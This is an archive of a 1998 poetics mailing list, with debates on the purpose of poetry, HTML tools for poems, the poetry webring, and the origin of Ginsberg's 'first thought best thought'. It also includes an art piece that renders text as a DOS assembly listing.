> *This being said, it occurs to me that folks on listservs about music (for instance) almost never ask, What is the purpose of music? (Ditto painting, theater, etc...) That it's fairly common for the question to arise among poetry people has to do with social function and definition. (In our culture, music is felt to be self-evident, poetry to be artificial and needing justification..)*

Mathematics. Mathematics is not regarded as self-evident either, but as artificial and needing justification.

What a misspent life I've led, on at least two counts. Thank God for those early piano lessons, at least those made sense.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

85. Miekal And
dynamic html & the future of the text/text
Mon 5 Jan 1998

Don Byrd wrote:
>
> There is a new wordprocess, called Trellix, especially designed for
> producing on-line documents. Of course, it cannot handle any thing that html
> isn't prepared to handled, but, so far, I am impressed. It also supports
> hypertext organization with an on-screen map.
>
> I have been using a 30-day trial version (which can be downloaded
> from www.trellix.com), but I think I will buy a copy.
>
> I believe that it is $99. Unfortunately, there is no Mac version.

checked out their site, drooling from my macintosh screen, but then Ive grown accustomed to the pc/mac veil & it seems that most things that make sense in

the end become cross platform, just us mac folk have to pay more money & wait longer....

Im particularly interest to know if trellix or any other wordprocessor supports the new dynamic html, which of course answers a lot of the concerns of desktop publishers who are putting their documents on the web. where the layout is retained on the webpage despite browser & monitor size.... I also feel like chances are pretty good that this is what is needed for textuallizing the net, & would like to start creating these documents now instead of waiting for netizens everywhere to be upgraded....

↑ Index

86. Judy Roitman

Re: Good questions without answers

Mon 5 Jan 1998

Alan Sondheim forgot about the feet. Poetry comes up through the feet, from the soles of the feet.

> *poetry is primordial, the stuff of sound and sense*
> *it predates syntax, semantics*
> *you might make haiku out of protolanguage*
> *you might not*
> *you might chant the body which is where the rhythm goes*
> *the rhyme goes*
> *what calls attention to the stuff of language or*
> *its revolution, ability to surface*
> *so that you're n o longer skimming prose*
> *living in one or another of Faulkner's characters*
> *who wants to anyway*
> *nor are you putting quotation marks "" around "everything"*
> *it's not the reification of language*
> *but the stuff of the world that emerges*
> *it's the vomit of the world*
> *some poets like shelley see both sides at once*
> *some poets like shelley see absolutely nothing*
> *because it isn't sight*
> *but those internal crags, beats of the heart*
> *it's useless, poetry is, which is its strength, that is,*
> *it rarely contributes to _meaning,_*
> *it doesn't have to mean anything at all,*
> *it's not anti-meaning either*
> *it burrows into the body and through the ground*
> *coming out in the desert maybe or the forest*
> *where you used to be able to hear some sort of pounding*
> *or scuttling in the underbrush*
> *so that it's, you can can, the tcp/ip of language,*

> *protocols ignoring the surface*
> *but a tcp/ip that's quite inexact, as if there were no realms*
> *or taxonomies, no definitive articulations*
> *maybe the kenning or haiku again for that matter*
> *stuffing language here and there so that it explodes,*
> *implodes, stuff - there's also the matter of the breath,*
> *it's been breathing, everyone knows that,*
> *it returns as if language were once and for all something absolutely new*
> *in the world, gesturing around the hill as Tran Duc Thao might say, where*
> *the game is*

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

87. Miekal And
afred querrry, "pataphysician
Mon 5 Jan 1998

SPD
UFO
help?

SPY
PSI

(o)

↑ Index

88. Alan Myouka Sondheim
Re: Good questions without answers
Mon 5 Jan 1998

didn't forget, there's always the pounding and scuttling (re: below) anyway I gotta fever and am flat on my back

On Mon, 5 Jan 1998, Judy Roitman wrote:

> *Alan Sondheim forgot about the feet. Poetry comes up through the feet,*
> *from the soles of the feet.*

poetry is primordial, the stuff of sound and sense
it predates syntax, semantics
you might make haiku out of protolanguage
you might not
you might chant the body which is where the rhythm goes
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what calls attention to the stuff of language or
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stuffing language here and there so that it explodes,
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it's been breathing, everyone knows that,
it returns as if language were once and for all something absolutely new
in the world, gesturing around the hill as Tran Duc Thao might say, where
the game is

Judy Roitman | *"Whoppers Whoppers Whoppers!*
Math, University of Kansas | *memory fails*
Lawrence, KS 66045 | *these are the days."*
[redacted] |

> *fax: [redacted] | Larry Eigner, 1927-1996*
> ---
> *Note new area code*
> ---
> *http://titania.math.ukans.edu/faculty/roitman/*
> ---

↑ Index

89. Alan Myouka Sondheim
Disassembling Love: Byting the Program of Secrecy
Mon 5 Jan 1998

-

Byting the Program of Secrecy

```
;********* File: c.exe *************
;
   code     SEGMENT
            ASSUME CS:code, DS:code
            ORG 100h

   strt:

      OR      AX,0D0Ah
      OR      CL,[BX+68h]
      AND     [BX+DI+74h],CH
      AND     [BX+DI+73h],CH
      AND     [BP+DI+6Fh],DH
      AND     [BP+SI+65h],AH
      POPA
      JNZ     J00189
      IMUL    [BP+75h],AH
      INSB
      AND     [BX+SI+65h],CH
      JB      J00183
      AND     [BX+DI+6Eh],CH
      AND     [BP+75h],AL
      IMUL    [DI+6Fh],DH
      IMUL    [BX+DI+21h],AH
      AND     [BX+20h],CL
      DEC     AX
      OUTSW
      IMUL    [DI+73h],DH
```

```
        POPA
        IMUL    [BX+DI],AH
        AND     [BX+65h],DL
        JZ      J0015A
        INSW
        DB (65h)
        AND     [BX+69h],DH
        JZ      J001A9
        AND     [BX+DI+6Fh],BH
        JNZ     J001B8
        OR      AX,6C0Ah
        POPA
        JZ      J001B4
        DB (65h)
        JB      J00170
        AND     [BX+DI+66h],CL
        AND     [BX+DI+6Fh],BH
        JNZ     J00177
        POPA
        JB      J001BF
J0015A: AND     [DI+79h],CH
        AND     [BX+68h],AH
        OUTSW
        JNB     J001D7
        SUB     AL,20h
        JNS     J001D6
        JNZ     J00189
        JA      J001D4
        INSB
        INSB
        AND     [BX+SI+61h],CH
J00170: JNZ     J001E0
        JZ      J00194
        INSW
        DB (65h)
        SUB     AL,20h
        DEC     DI
        AND     [SI+73h],DH
        JNZ     J001EC
        POPA
        INSW
```

```
      IMUL    [BX+DI],AH
      OR      AX,000Ah

   code     ENDS
          END  strt
```

↑ Index

90. Herb Levy

Re: querrry

Mon 5 Jan 1998

> *Would you have the SPD e-mail add? thanks in advance*

Hi Dave,

Try this:

< [redacted] >

Hope you had a good holiday.

Bests,

Herb

Herb Levy
[redacted]

↑ Index

91. George Thompson

Re: citation (ginsberg)

Mon 5 Jan 1998

I think he used it for the first time in *Improvised Poetics*, from the seventies, but I forget the exact date. I remember annoying Dianne Di Prima, with whom I read it, when I commented that "last thought, best thought" worked better for me.

George Thompson

> *One of the most famous (and therefore maligned--whether justly or not is a question i'm not getting into at present) quotes by Ginsberg*
> *is "first thought best thought"---*
> *can anybody tell me WHEN that quote was first uttered. it has lost its temporal "haulers", but some people need their citation references.*
> *I wonder if it was before Dylan wrote "each is first an' none is best"--*
> *Chris Stroffolino*

↑ Index

92. Sylvester Pollet
Re: word processor htmlability
Mon 5 Jan 1998

At 12:28 PM +0000 1/5/98, Miekal And wrote:
>as long as Im in the mode of wondering,
>
>has anyone run into wordprocessors or page layout programs that can save
>as an html document. I had something for quark at one point but was
>never able to get it to work. in particular Im interested in turning
>formatted poems into html documents without all the fiddling....
>
>miekal
>
>whose fiddled far too much in his life

Meikal--I'm sure this isn't what you mean, but with a Mac, Claris Home Page does almost all the html for you, though you can still get into the code if you want or need to. S.

↑ Index

93. louis stroffolino
citation (ginsberg)
Mon 5 Jan 1998

One of the most famous (and therefore maligned--whether justly or not is a question i'm not getting into at present) quotes by Ginsberg is "first thought best thought"--- can anybody tell me WHEN that quote was first uttered. it has lost its temporal "haulers", but some people need their citation references. I wonder if it was before Dylan wrote "each is first an' none is best"-- Chris Strof-folino

↑ Index

94. William Marsh
Re: poetry webring
Mon 5 Jan 1998

At 12:25 PM 1/5/98 +0000, you wrote:
>does anyone out there belong to the poetry webring and or know how to
>join & Im also wondering folks impressions of the ring & whether they
>think it brings interested visitors to their sites
>

>miekal
>

miekal

you've probably seen this already, but the main page for the webring has a link to instructions on how to join / i haven't joined myself, for one because i'm not exactly clear on how i'd have to adapt my page with "ring links", or if i'd even want to do that, and two because i haven't traveled it enough to feel comfortable joining / if you find out more about it, or eventually join, please let me know / or let me know in the meantime what you think of the venture in general

best,
bill marsh

↑ Index

95. William Marsh
Re: word processor htmlability
Mon 5 Jan 1998

At 12:28 PM 1/5/98 +0000, you wrote:
>as long as Im in the mode of wondering,
>
>has anyone run into wordprocessors or page layout programs that can save
>as an html document. I had something for quark at one point but was
>never able to get it to work. in particular Im interested in turning
>formatted poems into html documents without all the fiddling....
>
>miekal
>
>whose fiddled far too much in his life
>

in the mode of replying,

MS Word 7.0 allows you to save in html, although i admit i haven't used this feature too much / is that what you're thinking of? / i'm also interested in finding ways of shortcutting the fiddling / "page" layout in html is problematic for me and i'm wondering if there are programs out there that do more of the work for me / i haven't looked at Frontpage 98 yet, but perhaps that helps with layout functions, like spacing, tabbing, droplines, etc.

best,
bill

↑ Index

96. Cadaly
Re: poetry webring
Mon 5 Jan 1998

1) I belong to the webring.

2) Each site is supposed to have a link to the "joining" page and you can just follow those. The process is documented on the site.
http://www.geocities.com/SoHo/2141/poetry/poetweb.html

3) I believe that NO poetry is purple italic, center justified, yet you will find a lot of "stuff" like that on the ring. However, the ring is very large, and there are also many poetry organizations on it.

4) Yes, it does bring visitors to my site.

Catherine Daly

↑ Index

97. George Bowering
Re: Good questions without answers
Mon 5 Jan 1998

Up here in Canada, the purpose of poetry is to get your name published, so that the Canada Council will recognize you, and then you can get free air travel to lots of wonderful places to do readings and so on.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

98. George Bowering
Re: querrry
Mon 5 Jan 1998

> *Would you have the SPD e-mail add? thanks in advance*

Noi, but I have a UFO e-mail subtract.

Will that help?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

99. George Bowering

Re: citation (ginsberg)

Mon 5 Jan 1998

First time I ever heard him say it, attributing it to an Indian religio, was at the 1963 Vancouver Poetry Conference.

> *One of the most famous (and therefore maligned--whether justly or not is a question i'm not getting into at present) quotes by Ginsberg*
> *is "first thought best thought"---*
> *can anybody tell me WHEN that quote was first uttered. it has lost its temporal "haulers", but some people need their citation references.*
> *I wonder if it was before Dylan wrote "each is first an' none is best"--*
> *Chris Stroffolino*

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

100. Eryque Gleason

Re: word processing for the web

Mon 5 Jan 1998

i've started fiddling with this stuff more lately, and i think i've found out that the current state of html does not really support formatted text the way word processors do. i think the difference is that word processors and page layout tools operatie with the page in mind, rather than a screen. browser windows vary in size and shape too much for fixed-format text to workvery well.

that said, almost all the major word processors will export to html, but i've yet to see one that will take care of all the tabs, etc. about the best way to take care of the tabs is to set the font to either times or courier (most of the time browsers are set to default to either of these two) and insert spaces until the

spacing is about right. there's an html tag you can use to specify which font a browser uses, assuming that the reader has that font on their computer.

i just returned home in last night's ice with a fresh copy of adobe pagemill, which is supposed to give better control over the formatting. i'll know more after i work with it a while.

best,
eryque

On Mon, 5 Jan 1998, William Marsh wrote:

> *At 12:28 PM 1/5/98 +0000, you wrote:*
> *as long as Im in the mode of wondering,*
>
> *has anyone run into wordprocessors or page layout programs that can save as an html document. I had something for quark at one point but was never able to get it to work. in particular Im interested in turning formatted poems into html documents without all the fiddling....*
>
> *miekal*
>
> *whose fiddled far too much in his life*
>
> *in the mode of replying,*
>
> *MS Word 7.0 allows you to save in html, although i admit i haven't used this feature too much / is that what you're thinking of? / i'm also interested in finding ways of shortcutting the fiddling / "page" layout in html is problematic for me and i'm wondering if there are programs out there that do more of the work for me / i haven't looked at Frontpage 98 yet, but perhaps that helps with layout functions, like spacing, tabbing, droplines, etc.*
>
> *best,*
> *bill*

↑ Index

101. Brian Carpenter
Re: citation (ginsberg)
Mon 5 Jan 1998

On Mon, 5 Jan 1998, louis stroffolino wrote:

> *One of the most famous (and therefore maligned--whether justly or not is a question i'm not getting into at present) quotes by Ginsberg is "first thought best thought"---*

> *can anybody tell me WHEN that quote was first uttered. it has lost its temporal "haulers", but some people need their citation references.*
> *I wonder if it was before Dylan wrote "each is first an' none is best"--*
> *Chris Stroffolino*

I don't have a citation, but as to when it was first uttered, I was always under the impression that this was a dictum which Ginsberg picked up from Kerouac. Although, even if that's so, I wd guess there's not any Kerouac citation to that effect. Cd be wrong though.

BC

↑ Index

102. **henry**
Re: citation (ginsberg)
Mon 5 Jan 1998

On Mon, 5 Jan 1998 14:36:16 -0400 George Thompson said:
>I think he used it for the first time in *Improvised Poetics*, from the
>seventies, but I forget the exact date. I remember annoying Dianne Di
>Prima, with whom I read it, when I commented that "last thought, best
>thought" worked better for me.
>
>George Thompson

I thought he nicked it from one of his gurus. Zen.
Here's my spin on it: "First thought best thought...uh...now what was it again?"
- Jack Spandrift

↑ Index

103. **Lawrence Upton.**
Re: word processor htmlability
Mon 5 Jan 1998

MS word for IBM works fine - dont know if that is the case with mac version

L
-----Original Message-----
From: Miekal And <[redacted]>
To: [redacted] <[redacted]>
Date: 05 January 1998 18:20
Subject: word processor htmlability

|as long as Im in the mode of wondering,
|
|has anyone run into wordprocessors or page layout programs that can save
|as an html document. I had something for quark at one point but was
|never able to get it to work. in particular Im interested in turning
|formatted poems into html documents without all the fiddling....
|
|miekal
|
|whose fiddled far too much in his life
|

↑ Index

104. William Burmeister Prod
Misc. Proj
Mon 5 Jan 1998

Speaking of Misc. Proj, has anyone received the current issue yet? Is it available?

Best,

William Burmeister

↑ Index

105. William Marsh
Re: Misc. Proj
Mon 5 Jan 1998

At 03:34 PM 1/5/98 -0500, you wrote:
>Speaking of Misc. Proj, has anyone received the current issue yet? Is it
>available?
>
>
>Best,
>
>William Burmeister
>
yes, #4 is available (i got it last week) / i'm sure Mark. Prej. is out
there somewhere listening?

best,
bill marsh

↑ Index

106. George Thompson
Re: citation (ginsberg)
Mon 5 Jan 1998

Well, I guess I should have said that *the first time I saw it in print* was in *Improvised Poetics*.

I also took for granted that AG got it from Trungpa, the guru of Naropa, and a Tibeten Rinpoche.

As early as 1963? Amazing!

GT

↑ Index

107. rsillima
SPD address, etc.
Mon 5 Jan 1998

SPD's new catalog says, and I quote:

"send your e-mail to [redacted]"

Re the Ginsberg quote: I believe I first heard it in connection with Wichita Vortex Sutra, which would place it in the late 1960s. It's certainly implicit in Kerouac's Essentials of Spontaneous Prose, but of course JK never had a complete thought exactly, so could never state this in so few words.

Nice to see Don Byrd posting after too long a silence!

Ron Silliman

↑ Index

108. Cadaly
Re: poetry webring
Mon 5 Jan 1998

There is an attempt to index this webring in different ways. There are almost 3,000 sites in the ring. When I joined it was open to everyone.

There are at least three other general poetry webrings that I've heard about. There are subsidiary webrings that have themes, styles, etc. The Poetry Webring ring is not put together according to a design or theme other than poetry. In other words, the code/link produces a random or next site.

Catherine

↑ Index

109. Don Byrd
Re: word processing for the web
Mon 5 Jan 1998

There is a new wordprocess, called Trellix, especially designed for producing on-line documents. Of course, it cannot handle any thing that html isn't prepared to handled, but, so far, I am impressed. It also supports hypertext organization with an on-screen map.

I have been using a 30-day trial version (which can be downloaded from www.trellix.com), but I think I will buy a copy.

I believe that it is $99. Unfortunately, there is no Mac version.

--
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (dome); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

↑ Index

110. Don Byrd
Re: dynamic html & the future of the text/text
Mon 5 Jan 1998

Miekal And wrote:

> *Don Byrd wrote:*
>
> *There is a new wordprocess, called Trellix, especially designed for producing on-line documents.*
>
> *checked out their site, drooling from my macintosh screen, but then Ive grown accustomed to the pc/mac veil & it seems that most things that make sense in the end become cross platform, just us mac folk have to pay more money & wait longer....*

The slickest way to handle dhtml that I know of is Macromedia Dreamweaver. It's interface is something like Director (has a time line, etc.) and it integrates with the Homesite editor. Unlike some of the other Web editors, it doesn't limit you access to the code, so you can switch to Homesite which is a powerful html editor... Let's you muck directly with the code all you want, but takes care alot of the bothersome stuff for you. (The Mac version

works with BBedit, I believe it is called). It is on sale for $299 (including the editor). And there is an academic version for about $140, for any one who has an academic connection. The demo is fully operational, but good for only 30 days.

While I am on the subject. The Little Magazine is gearing up to do another cd-rom. We are looking for work that takes both writing and multimedia seriously.

> *Im particularly interest to know if trellix or any other wordprocessor supports the new dynamic html, which of course answers a lot of the concerns of desktop publishers who are putting their documents on the web. where the layout is retained on the webpage despite browser & monitor size.... I also feel like chances are pretty good that this is what is needed for textuallizing the net, & would like to start creating these documents now instead of waiting for netizens everywhere to be upgraded....*

--
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (dome); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

↑ Index

111. David Israel

po's porp

Tue 6 Jan 1998

Mark P wrote
<<In any event, Bobbie's question strikes me as a great example of how productive and useful questions can be, which don't have answers...>>

then there's that old fave:
what, praytell, is the purpose of asking questions?
(& what, praytell, is the purpose of having a purpose?)

d.i.

ps: rec'd got this quatrain (rubai) over the cybertransom (Jelaluddin Rumi's) --

/ / / /

Oh reason, go away.
There is no wise one here.
Even if you become small like a hair,
There is no place for you.
It is morning now.
Whatever candle you burn
Would be shamed in front of sunshine.

Crazy As We Are
Selected Rubais from Divan-i Kebir
Trans. Dr. Nevit O. Ergin

↑ Index

112. Loss Pequen~o Glazier
Re: Film on Preservation of Knowledge in the Electronic Age
Tue 6 Jan 1998

Of interest perhaps ...

> *Into the Future: On the Preservation of Knowledge in the Electronic Age*
> *A FILM BY TERRY SANDERS*
> *NARRATED BY ROBERT MACNEIL*
> *AMERICAN FILM FOUNDATION, 1997*
> *AIRING JANUARY 13 ON PBS*
> *(check local listings for any variations on air time)*
>
> *The above film is reviewed in the January 1998 issue of*
> *Scientific American, page 110*
> *Alternatively, the article can be viewed at*
>
> *http://www.sciam.com/0198issue/0198review2.html*
>
> *For information on this program from the Public Broadcasting System see*
>
> *http://www.pbs.org/whatson/1998/01/descriptions/INFU.html*

↑ Index

113. Loss Pequen~o Glazier
Re: poetry webring
Tue 6 Jan 1998

Doesn't anyone find it a little disconcerting that a large percentage of the sites accessed from such a ring may be no more than merely personal? Does one want to promote one's community in such a context?

At 05:45 PM 1/5/98 EST, you wrote:
>There is an attempt to index this webring in different ways. There are almost
>3,000 sites in the ring. When I joined it was open to everyone.
>
>There are at least three other general poetry webrings that I've heard about.
>There are subsidiary webrings that have themes, styles, etc. The Poetry
>Webring ring is not put together according to a design or theme other than
>poetry. In other words, the code/link produces a random or next site.
>
>Catherine
>
>

↑ Index

114. Miekal And
Re: poetry webring
Tue 6 Jan 1998

Loss Pequen~o Glazier wrote:
>
> Doesn't anyone find it a little disconcerting that a large percentage of the
> sites accessed from such a ring may be no more than merely personal? Does
> one want to promote one's community in such a context?

well fer the hell of it I joined the spidertangle wordround hyperwriting workshop into the webring. in the ring queue Im between 2 pages that have titles like "watercolor thoughts" & blue mood or something like that, which for something like this particular site, where Im interested in aspects of online writing & hypertext far more than quality of writing, I think it'll work out ok.

but.... I was quite confounded when they sent me a list of catagories to choose from for their topical navigators..... (I choose inner mind expression) (ahem)

<Pick from this list a category:

Gothic
Romantic
Nonsense/Humor
Young Adult
Despair/Sorrow
Different Language
Inspirational
Group Site
Literature for Purchase
Rebellious

African/Native American
Poet Studies/Profiles
LIFE'S UPS AND DOWNS
Inner Mind Expression/Philosophical
Political/civil unrest
Just Poetry/Prose
Zines/Contests
Gay/Alternate lifestyles

and... I guess my question is can Miekal surf this ring & find sites unknown to him that he will want to spend time at....I noticed jim andrews visual poetry site in a list a head of spidertangle, so I suspect that since there are 2100 sites Im bound to happen on something if I put an effort into it....

miekal

↑ Index

115. Jordan Davis
Last Minute Reading Notice
Tue 6 Jan 1998

In the scurry of the end of the year, the first thing to go is publicity. Which is to say, I'm reading tonight at the Rising Cafe in Park Slope (186 Fifth Ave, Bklyn) at 7:30. I hope you'll come hide from the trees with me. Susan Hoover and Phyllis Wat are sharing the bill, and the ticket is only US$3. Viva the shining beak -- Jordan Davis

↑ Index

116. Mark Prejsnar
Misc. Probs.
Tue 6 Jan 1998

Dear Subscribers and friends and countrypersons:

Of course many of you have gotten Misc.Proj. #4....My apologies to those still waiting; you should have it within a few days.

My dog ate my homework; in addition (this is really true) my computer melted down *and* there were some errors at the print-shop I used. These things added to the normal disorder of life (or of my life anyway) has slowed things down slightly....

This hasn't really happened before with Misc. Proj., and I don't believe it'll happen again...sorry, sorry

William Burmeister, yours got mailed (with a lot of others) yesterday or the day before; quite a few are going out as we speak (or, as I type..)

mp

↑ Index

117. William Burmeister Prod
Re: Misc. Probs.
Tue 6 Jan 1998

Dear Subscribers and friends and countrypersons:

Of course many of you have gotten Misc.Proj. #4....My apologies to those still waiting; you should have it within a few days.

My dog ate my homework; in addition (this is really true) my computer melted down *and* there were some errors at the print-shop I used. These things added to the normal disorder of life (or of my life anyway) has slowed things down slightly....

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William Burmeister, yours got mailed (with a lot of others) yesterday or the day before; quite a few are going out as we speak (or, as I type..)

mp

Good news! I was wondering whether the postal mail sort thingamajig had devoured my check there or no. Thanks.

William Burmeister

↑ Index

118. Jack Foley
Re: citation (ginsberg) -Reply
Tue 6 Jan 1998

I believe Kerouac coined the phrase, once he hit upon his "spontaneous prose" for the legendary first draft of On the Road. But since his concept of spontaneous prose derived from Neal Cassidy's letters, it's just as likely -- given the free sharing of ideas amongst the Ur-Beats -- that Kerouac picked up the phrase from Ginsberg. The best place to check for Ginsberg's first use of "first thought best thought" would be his Notebooks of the '50's. He might use it in the City Lights "Howl" pamphlet. But I'm almost certain he uses it in Donald Allen's New American Poetry, which came out around 1960.

>>> George Thompson <[redacted]> 01/05/98 01:36pm >>>
I think he used it for the first time in *Improvised Poetics*, from the seventies, but I forget the exact date. I remember annoying Dianne Di Prima, with whom I read it, when I commented that "last thought, best thought" worked better for me.

George Thompson

> *One of the most famous (and therefore maligned--whether justly or not is a question i'm not getting into at present) quotes by Ginsberg*
> *is "first thought best thought"---*
> *can anybody tell me WHEN that quote was first uttered. it has lost its temporal "haulers", but some people need their citation references.*
> *I wonder if it was before Dylan wrote "each is first an' none is best"--*
> *Chris Stroffolino*

↑ Index

119. Douglas Barbour
Re: purpose
Tue 6 Jan 1998

---

bp Nichol began Book 4 of _The Martyrology' thus:

purpose is a porpoise

then dives into the seas of language for the rest of the poem (Book 4, of course, but perhaps also all the other books he completed).

No short answer will do?

The poems make their own statements on this matter?

The matter is/becomes such statements?

All come to their own answers in just such a way?

I've enjoyed each version so far...

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

Whose song is this anyway?
Is it a song being sung

on the narrow road to the North?

Phyllis Webb

↑ Index

120. Alan Myouka Sondheim
Re: Last Minute Reading Notice
Tue 6 Jan 1998

Please write a full report - I've known Susan for years... And I love the Rising Cafe - I live just a few blocks away (when I'm in NY).

Alan

On Tue, 6 Jan 1998, Jordan Davis wrote:

> *In the scurry of the end of the year, the first thing to go is publicity. Which is to say, I'm reading tonight at the Rising Cafe in Park Slope (186 Fifth Ave, Bklyn) at 7:30. I hope you'll come hide from the trees with me. Susan Hoover and Phyllis Wat are sharing the bill, and the ticket is only US$3. Viva the shining beak -- Jordan Davis*

↑ Index

121. William Marsh
promotion: web site, chaps
Tue 6 Jan 1998

Greetings Poetics folks:

i'd like to invite all of you to visit my new website:
http://www.dtai.com/~bmarsh

this version has several new works (hypertext poetries, essays), updated links to other similar-interest sites (many by list members), plus details about Paper-BrainPress

regarding the latter, two new chaps available: _b/c_ and _nvrnmnts_ / first in a series from a new micropress venture in which i hope to feature several other new writers in months to come / get more details and online versions of these texts at: http://www.dtai.com/~bmarsh/PBrain/pbrain.html

chaps are available for $3 each or both for $5 (postage and sincere thank you's included, checks payable to Wm Marsh) / book exchanges also welcome

any feedback on the website or ideas for collaboration would be much welcomed

all best,

bill marsh | 1860 Pacific Beach Drive #4 [redacted] | San Diego, CA 92109

↑ Index

122. Cadaly
Re: poetry webring
Tue 6 Jan 1998

No. Really, web publishing is self publishing (or a recent outgrowth of it).

It is disconcerting that magazines are turning to it for their only public outlet.

Free information is information with an agenda. Personal sites' agendas are obvious (and fairly innocuous). This is one major reason I have no objection to personal sites (hey, I have one).

<<Does one want to promote one's community in such a context?>>

I find a wacky tension in this question between personal, public, community, and promotion.

Greeting card messages, song lyrics, and nursery rhymes are the models of most web poetry. These models are the poetry that most people have -- a denominator -- and you are seeing it on the web because the "audience" of the internet pushes content (personal poetry) in response to content it pulls (perceived poetry).

Perhaps a useful comparison is web = broadcast, where the controls influencing audience membership are different from those of non-broadcast media. What's the most popular non-fiction broadcast? The talk / call in show, which also offers interaction / audience-defined content.

The webring poetry "community" if you call it that (it's just a bunch of linked sites -- I certainly don't know the other people involved -- perhaps "demographic" is a better term) is different from that of this list. I would argue that all poetry on the internet contextualizes poetry on the internet, and that it is naive to believe that there is a group that can select or reject the purple-colored gothic font group.

Regards,
Catherine Daly
[redacted]

↑ Index

123. bertha
Some answers, I think, maybe, possibly, who knows?
Tue 6 Jan 1998

It is ironic that poets feel the need to define poetry, to defend it. I agree with your comments re purpose. But I think the reason we feel obligated to define and defend poetry is that poetry comes from such an unusual place, at least in our time. I write, edit, and teach poetry and I find it interesting and irritating that students who understand that to play music or to compose it must involve study and learning (the same goes for math, English, history, art, ad nauseum) do not "get it" about poetry .

We have created a bizarre culture that says, "Because the poems I write have arisen from such a deep place within me (a religious experience, if you will), I accept no changes, no criticism." So poetry has become this fascinating and repulsive animal in many instances -- an animal that feels but has very little, or no, intellect. Somehow, the joy in taking all those words and crafting them into something elegant and beautiful, as a cabinetmaker would his raw wood, has been relegated to the trash bin, at least in the very public sector, i.e., open readings, Slams, etc. If we lose pleasure in technique, we are left with nothing but "clanging cymbals."

Bertha Rogers

↑ Index

124. Charles Bernstein
My Trip West
Tue 6 Jan 1998

Dodie Bellamy kindly posted the information on my reading, with Lisa Jarnot, on Jan. 10, at Small Press Traffic at New College Cultural Center in San Francisco.

I will be doing two other readings on the trip:

Jan. 13, Stanford University, Humanities Center annex, 6pm

Jan. 14, University of Oregon, Eugene, Genlinger Alumni Lounge, 4:30

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125. Henry Gould
Re: Some answers, I think, maybe, possibly, who knows?
Tue 6 Jan 1998

Say you have a country which began as a counter-culture: plain Puritans vs. ornate society, raw wilderness vs. refined civilization. You might eventuate in near-diametrically opposed positions on what technique should be, since

technique is predicated on the result you're aiming for. Never mind that the diametrically-opposed positions are dogmatic cartoons of what a longtime devotion to making poems might mean.

There's a strange Moebius strip situation in place, in which (1) a certain art form (poetry) demands & deserves disciplined (even academic!) absorption; (2) nevertheless the merely academic expressions of any art form are a sort of whittled-down closed circle, a caricature of the form's true possibilities; and (3) there being no "place" in the cultural economy for poetry as there is for prose, painting or music, the academy is the fall-back position. (You there, Villon? Rabelais?)

But hey, poetry's gotta work out its own problems (the play's the thing). Maybe this ain't a real dilemma (maybe it's just more boring Henryak-yak, O List!). But whatever is happening on that Moebius strip - formalism, experiment, napping-on-laurels, and (mostly) teaching - it only has a faint echo, it seems, in "culture at large" - the publishing pyramid & the fame game & the slam hams & the INTERNET... hey.

I think MFA programs should incorporate general lit studies along with a requirement to interact on a creative performance level with the town-beyond-gown world. Call it the poetry greenhouse project or something. It's a mule-drivin' world, you fey MFA's! Giddy-up! Plus the tenure track should start in 4th grade elementary! Stomp them dactyls! [--okay, we'll do whatever you say, Henry. We'll call it the National Henry-in-the-Schools Program, or Hee-Haw for short.]

- Henry Gould [is that you, Spandrift?]

↑ Index

126. KENT JOHNSON
help requested
Tue 6 Jan 1998

Trying to locate an e-mail address for John Whittier Treat at the University of Washington. Please back-channel. Thanks!

Kent

↑ Index

127. Harold Rhenisch
National Henry-in-the-Schools Program
Tue 6 Jan 1998

Henry Gould wrote:

>>I think MFA programs should incorporate general lit studies along with a requirement to interact on a creative performance level with the town-beyond-gown world.<<

Why general lit studies, Henry? Why not something in particular? I'm tired of generality in poetry. If there's a problem with the students being homogenized, then let them choose what they want to do, but push them out of generality.

Yessir, I've been in bookstores, I've seen what they do there. You get all these categories of writing, like "Cars" and "SF" and "Womens Studies" and "Gardening" and "Fiction" and "Eastern Religions" and "History" and on and on and on, and then you get "Poetry".

In fact, "Poetry" should have the same sections as the others (its own "Cars" and "SF" and "Eastern Religons" and "History" sections, or whatever is deemed appropriate, "Langpo, Boredpo, Navelpo, Sir!:realpo!, or whatever", or it could be shelved with the others. Some of the best poetry I have was pulled from the "Novels" stacks in bookstores in Germany. Interesting, that this house-sharing goes hand-in-hand with a lot of experimentation with form, a lot of commerce between poetry and prose.

As for a creative performance level, isn't that, in part, advertising? I mean, leaving aside the political/economic distress of advertising, just the form of it? Isn't that in part HTML? Animation? Sound? Isn't that in part painting things on walls? I don't mean to limit it to that, because I don't know what you had in mind. But, let's get beyond creative performance and say: doing stuff in the world, using the world as a page, not just a handful of literary traditions.

You're right: performance. As in: even reading is a performance, even writing. Otherwise the stuff is learned by rote, which is to say: not learned.

> *Call it the poetry greenhouse project or something.<<*

You mean like: forced tulips and those big white lilies you get at Easter, and butter lettuce and tomatoes and cucumbers sealed in really long 20 mil condoms, and flats full of purple-leaved marigolds in the spring 'cause there ain't no nutrients in that darn peat/perlite mix?

>>It's a mule-drivin' world, you fey MFA's! Giddy-up!
Plus the tenure track should start in 4th grade elementary!
Stomp them dactyls!<<

Yes, let's stomp. You want to give some idea of the curriculum for this 4th Grade tenure? I'd like to hear it. Really. What do you have in mind? You're onto something here.

